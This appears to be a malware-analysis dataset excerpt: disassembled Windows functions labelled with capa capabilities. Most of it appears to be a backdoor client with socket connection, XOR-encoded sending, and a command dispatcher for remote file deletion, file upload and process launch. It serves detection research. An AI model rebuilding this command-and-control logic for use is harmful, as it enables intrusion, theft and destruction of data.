joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b1500
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov edx, dword [0x523bb4]
mov ebx, dword [esp + 0x30]
test edx, edx
js 0x4b157b
test edx, edx
mov esi, dword [0xa3ee48]
jne 0x4b1555
mov ecx, dword [ebx + 0xc]
mov eax, ebx
mov dword [esp + 0x1c], esi
lea esi, [esp + 0x1c]
mov edx, esi
test ecx, ecx
jne 0x4b1545
call fcn.004b0e70
cmp eax, 7
je 0x4b154c
nop
lea esi, [esi]
call sub.msvcrt.dll_abort
call fcn.004b1160
jmp 0x4b1536
mov eax, esi
nop
call fcn.004b1010
mov esi, dword [0xa3ee44]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
jmp 0x4b151e
call fcn.004b0f50
mov edx, dword [0x523bb4]
jmp 0x4b1514

Function at 0x4b1590
Capabilities:
Get thread local storage value

Disassembly:
sub esp, 0x2c
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], edi
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x4b15c2
mov dword [esp], ebx
call fcn.004b1350
mov ebx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
add esp, 0x2c
ret
mov edx, dword [0x523bb4]
test edx, edx
js 0x4b1630
test edx, edx
mov esi, dword [0xa3ee48]
jne 0x4b1600
lea edx, [esp + 0x1c]
mov eax, ebx
mov dword [esp + 0x1c], esi
call fcn.004b1160
cmp eax, 7
je 0x4b15f0
call sub.msvcrt.dll_abort
nop
lea eax, [esp + 0x1c]
call fcn.004b1010
lea esi, [esi]
mov esi, dword [0xa3ee44]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x4b15d6
call fcn.004b0f50
mov edx, dword [0x523bb4]
jmp 0x4b15cc

Function at 0x4b1b80
Capabilities:
Get thread local storage value

Disassembly:
sub esp, 0x1c
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
add esp, 0x1c
ret

Function at 0x4b1bc0
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x4b1be5
xor eax, eax
add esp, 0x1c
ret
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x1c
jmp eax
Function at 0x100013d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100050fa
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x10008160]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a8], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1a8], 0x2a264024
mov ecx, dword [ebp - 0x1a8]
mov dword [esi + 0xac], eax
mov word [esi + 0xb4], 0x25
mov dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xb0], ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100045c6
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10008160]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.100016e0
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
jne 0x100015fa
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100045c6
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x100015e6
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100015e6
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001698
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001bd0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10001e70
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov dword [esi + 0xa4], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.100045c6
mov esp, ebp
pop ebp
ret 8
Function at 0x10001af0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor edx, edx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001b17
mov al, byte [edx + edi]
xor al, 0x91
sub al, 0x67
mov byte [edx + edi], al
inc edx
cmp edx, ecx
jl 0x10001b08
mov ebx, dword [ebp + 0x10]
mov edx, dword [sym.imp.WS2_32.dll_send]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp + 8], ecx
cmp ecx, ebx
jb 0x10001b7a
lea esp, [esp]
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ebx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001b51
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b32
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
push 0xa
mov dword [ebp - 4], esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
sub ecx, ebx
mov dword [ebp + 8], ecx
cmp ecx, ebx
jae 0x10001b30
test ecx, ecx
jle 0x10001bac
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ecx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001ba2
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b80
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001e70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push 0
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push eax
push 0x10002130
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCR110.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001ed0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0x100062e6
push dword [ebp + 8]
push str.WinRar
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
ret
Function at 0x10002c20
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [0x10008160]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x14], 0x2a5c7325
mov word [ebp - 0x10], 0x2a2e
mov byte [ebp - 0xe], 0
call edi
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10002c97
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100045c6
mov esp, ebp
pop ebp
ret 4
mov dword [ebp - 0xc], 0x255c7325
mov word [ebp - 8], 0x73
cmp byte [ebp - 0x330], 0x2e
je 0x10002cf4
test byte [ebp - 0x35c], 0x10
lea eax, [ebp - 0x330]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
push eax
je 0x10002ce2
call edi
mov ecx, dword [ebp - 0x360]
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
call fcn.10002c20
jmp 0x10002cf4
call edi
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x35c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002ca4
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp - 4]
test eax, eax
pop edi
setne al
pop esi
xor ecx, ebp
pop ebx
call fcn.100045c6
mov esp, ebp
pop ebp
ret 4
Function at 0x10003130
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000523b
mov eax, dword fs:[0]
push eax
sub esp, 0x47c
mov eax, dword [0x10008160]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x484], ecx
mov ebx, dword [ebp + 8]
push 0x104
lea eax, [ebp - 0x220]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + ebx - 1], 0x5c
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x100062e6
mov esi, 0x100063d8
cmove esi, ecx
push esi
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x220]
push eax
mov dword [ebp - 0x488], esi
mov dword [ebp - 0x18], 0x73257325
mov dword [ebp - 0x14], 0x2a2e2a
call edi
add esp, 0x10
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x480], eax
cmp eax, 0xffffffff
jne 0x100031f0
xor al, al
jmp 0x10003353
cmp byte [ebp - 0x450], 0x2e
je 0x1000331d
test byte [ebp - 0x47c], 0x10
lea eax, [ebp - 0x450]
push eax
push esi
push ebx
push str._s_s_s
je 0x10003237
lea eax, [ebp - 0x324]
push eax
call edi
mov ecx, dword [ebp - 0x484]
add esp, 0x14
lea eax, [ebp - 0x324]
push eax
call fcn.10003130
jmp 0x10003317
lea eax, [ebp - 0x11c]
push eax
call edi
add esp, 0x14
cmp byte [ebp - 0x11c], 0
mov dword [ebp - 0x328], 0xf
mov dword [ebp - 0x32c], 0
mov byte [ebp - 0x33c], 0
jne 0x1000326b
xor eax, eax
jmp 0x1000327d
lea eax, [ebp - 0x11c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003274
sub eax, edx
push eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x33c]
call fcn.100024d0
mov esi, dword [ebp - 0x484]
lea eax, [ebp - 0x33c]
mov edi, dword [esi + 0xc]
push eax
push dword [edi + 4]
lea ecx, [esi + 0xc]
push edi
mov dword [ebp - 4], 0
call fcn.10002940
mov edx, eax
mov eax, dword [esi + 0x10]
mov ecx, 0x7fffffe
sub ecx, eax
cmp ecx, 1
jb 0x1000333a
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov dword [edi + 4], edx
mov eax, dword [edx + 4]
mov dword [ebp - 4], 0xffffffff
mov dword [eax], edx
cmp dword [ebp - 0x328], 0x10
jb 0x100032f0
push dword [ebp - 0x33c]
call sub.MSVCR110.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esi, dword [ebp - 0x488]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x328], 0xf
mov dword [ebp - 0x32c], 0
mov byte [ebp - 0x33c], 0
mov eax, dword [ebp - 0x480]
lea ecx, [ebp - 0x47c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x10003345
mov eax, dword [ebp - 0x480]
jmp 0x100031f0
push str.list_T__too_long
call dword [sym.imp.MSVCP110.dll_void___cdecl_std::_Xlength_error_char_const__]
push dword [ebp - 0x480]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100045c6
mov esp, ebp
pop ebp
ret 4
Function at 0x10003510
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10006b10
push 0x10004622
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10008160]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCR110.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x10003676
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100035ce
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100035ce
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
mov al, byte [esi]
test al, al
je 0x100035a9
cmp al, 0x5c
je 0x100035a9
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003595
cmp byte [esi], 0
je 0x100035b2
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100035c3
cmp al, 0x5c
je 0x100035c3
push esi
call ebx
mov esi, eax
jmp 0x100035af
cmp byte [esi], 0
je 0x100035f3
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x100035f3
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100035ed
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100035ed
cmp al, 0x5c
jne 0x100035ed
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
mov al, byte [esi]
test al, al
je 0x1000363a
cmp al, 0x5c
jne 0x10003630
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10003629
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000362d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000362d
push edi
jmp 0x1000366d
test al, 0x10
je 0x10003626
mov byte [esi], 0x5c
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100035f3
mov dword [ebp - 4], 0xfffffffe
push edi
call dword [sym.imp.MSVCR110.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCR110.dll_free]
add esp, 4
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100036a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 4], 0
cmp dword [esi + 0x14], edi
je 0x100036d9
push str.Wow64DisableWow64FsRedirection
push 0x10006408
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100036d9
lea ecx, [ebp - 4]
push ecx
call eax
mov edi, eax
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx]
cmp edx, 0x13
ja case.0x100036e8.5
jmp dword [edx*4 + 0x1000381c]
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10003f50
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp + 8], 0x6a
jmp 0x100037e1
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10002c20
mov byte [ebp + 8], 0x6a
jmp 0x100037e1
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10004270
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10003d40
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10002b30
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10003a90
jmp case.0x100036e8.5
mov ecx, esi
call fcn.100041e0
jmp case.0x100036e8.5
mov eax, dword [ecx + 1]
mov ecx, esi
mov dword [esi + 0x18], eax
call fcn.10003380
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10002b60
jmp case.0x100036e8.5
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.100043b0
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push 5
push eax
mov ecx, esi
call fcn.10003870
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push 0
push eax
mov ecx, esi
call fcn.10003870
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
call fcn.10001ed0
add esp, 4
jmp case.0x100036e8.5
lea eax, [ecx + 1]
push eax
mov ecx, esi
call fcn.10004150
jmp case.0x100036e8.5
mov ecx, esi
call fcn.100041a0
mov byte [ebp + 8], 0x74
push 1
lea eax, [ebp + 8]
push eax
mov ecx, esi
call fcn.10001df0
test edi, edi
pop edi
pop esi
je 0x10003814
push str.Wow64RevertWow64FsRedirection
push 0x10006408
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003814
push dword [ebp - 4]
call eax
mov esp, ebp
pop ebp
ret 8
Function at 0x10003870
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
mov eax, dword [0x10008160]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
mov dword [ebp - 0x304], 0x104
call sub.MSVCR110.dll_memset
push 0x2e
push edi
call dword [sym.imp.MSVCR110.dll_strrchr]
add esp, 0x14
test eax, eax
jne 0x100038c7
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100045c6
mov esp, ebp
pop ebp
ret 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x300]
push ecx
push 0xf003f
push 0
push eax
push connect
call esi
test eax, eax
jne 0x1000395f
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push dword [ebp - 0x300]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x300]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
lea eax, [ebp - 0x2fc]
push 0
push eax
call sub.MSVCR110.dll_memset
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x2fc]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x300]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2fc]
push eax
push connect
call esi
test eax, eax
je 0x10003973
pop esi
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100045c6
mov esp, ebp
pop ebp
ret 8
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push dword [ebp - 0x300]
mov dword [ebp - 0x304], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x300]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCR110.dll_strstr]
lea eax, [ebp - 0x108]
push 0x10006450
push eax
call esi
add esp, 8
test eax, eax
jne 0x10003a0b
lea eax, [ebp - 0x108]
push 0x10006454
push eax
call esi
add esp, 8
test eax, eax
jne 0x10003a0b
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100062e4
lea eax, [ebp - 0x108]
push eax
call esi
push edi
lea eax, [ebp - 0x108]
push eax
call esi
jmp 0x10003a13
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40
lea eax, [ebp - 0x344]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0
mov eax, str.WinSta0Default
cmove eax, dword [ebp - 0x340]
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x348]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
mov dword [ebp - 0x348], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov al, 1
pop edi
call fcn.100045c6
mov esp, ebp
pop ebp
ret 8

Function at 0x10003a90
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add eax, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
lea eax, [ebp + 8]
push eax
mov ecx, edi
mov byte [ebp + 8], 0x6f
call fcn.10001df0
pop edi
pop esi
pop ebp
ret 4
Function at 0x10003d40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
cmp dword [ebx + 4], 0xffffffff
mov esi, ecx
push edi
lea eax, [esi + 0x1c]
jne 0x10003dab
mov eax, dword [esi + 0xc]
lea ecx, [esi + 0xc]
push dword [eax]
lea eax, [ebp + 8]
push eax
call fcn.100044f0
cmp dword [esi + 0x10], 0
jne 0x10003d88
push 1
lea eax, [ebp + 8]
push eax
mov ecx, esi
mov byte [ebp + 8], 0x69
call fcn.10001df0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
add eax, 8
cmp dword [eax + 0x14], 0x10
jb 0x10003d98
mov eax, dword [eax]
push eax
mov ecx, esi
call fcn.10003e70
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0x80
push 3
push 0
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
jne 0x10003dd7
pop edi
pop esi
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push ebx
push dword [ebx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x19000
push 0x40
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push 0
mov byte [edi], 0x68
mov ecx, dword [ebx]
lea eax, [ebp - 4]
push eax
push 0x18ff7
mov dword [edi + 1], ecx
mov ecx, dword [ebx + 4]
mov ebx, dword [ebp + 8]
lea eax, [edi + 9]
push eax
push ebx
mov dword [edi + 5], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, esi
test eax, eax
je 0x10003e4f
add eax, 9
push eax
push edi
call fcn.10001df0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.10004210
mov esi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10003e70
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, ecx
push 0x104
lea esi, [eax + 0x1c]
push 0
push esi
mov dword [ebp - 0xc], eax
call sub.MSVCR110.dll_memset
mov ebx, dword [ebp + 8]
add esp, 0xc
mov eax, ebx
sub esi, ebx
mov cl, byte [eax]
mov byte [esi + eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x10003e97
push 0
push 0x80
push 3
push 0
push 1
push connect
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003ecd
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push edi
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call esi
add eax, 0xa
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 4]
mov ebx, eax
push 0
push ebx
call sub.MSVCR110.dll_memset
mov byte [ebx], 0x67
mov ecx, dword [ebp - 8]
add esp, 0xc
mov dword [ebx + 5], edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebx + 1], ecx
call esi
inc eax
push eax
lea eax, [ebx + 9]
push edi
push eax
call sub.MSVCR110.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push ebx
call fcn.10001df0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4